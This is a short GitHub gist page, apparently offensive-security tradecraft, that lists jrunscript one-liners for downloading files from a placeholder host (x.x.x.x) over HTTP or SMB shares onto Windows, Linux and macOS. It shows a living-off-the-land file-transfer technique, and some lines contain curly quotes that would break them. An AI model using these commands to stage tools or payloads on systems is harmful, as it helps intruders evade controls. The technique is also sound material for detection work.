Skip to content

Instantly share code, notes, and snippets.

@h4wkst3r
Last active May 23, 2018 00:04
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save h4wkst3r/c2a9b86ad8de5e11ff57115da78acc5e to your computer and use it in GitHub Desktop.
Save h4wkst3r/c2a9b86ad8de5e11ff57115da78acc5e to your computer and use it in GitHub Desktop.
Downloading Files via JRunscript
//Windows - download from web server
jrunscript -e "cat('http://x.x.x.x/file.txt')" > C:\Temp\file.txt
jrunscript -e "cp('http://x.x.x.x/file.txt','C:\\Temp\\file.txt')"
//Windows - download from file share
jrunscript -e "cat('\\\\x.x.x.x\\folder\\file.txt')" > C:\Temp\file.txt
jrunscript -e "cp('\\\\x.x.x.x\\folder\\file.txt','C:\\Temp\\file.txt')"
//Linux & macOS - download from web server
jrunscript -e "cat('http://x.x.x.x/file.txt')" > /tmp/file.txt
jrunscript -e "cp('http://x.x.x.x/file.txt',’/tmp/file.txt')"
//Linux & macOS - download from file share
jrunscript -e "cat('\\\\x.x.x.x\\folder\\file.txt')" > /tmp/file.txt
jrunscript -e "cp('\\\\x.x.x.x\\folder\\file.txt',’/tmp/file.txt')"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment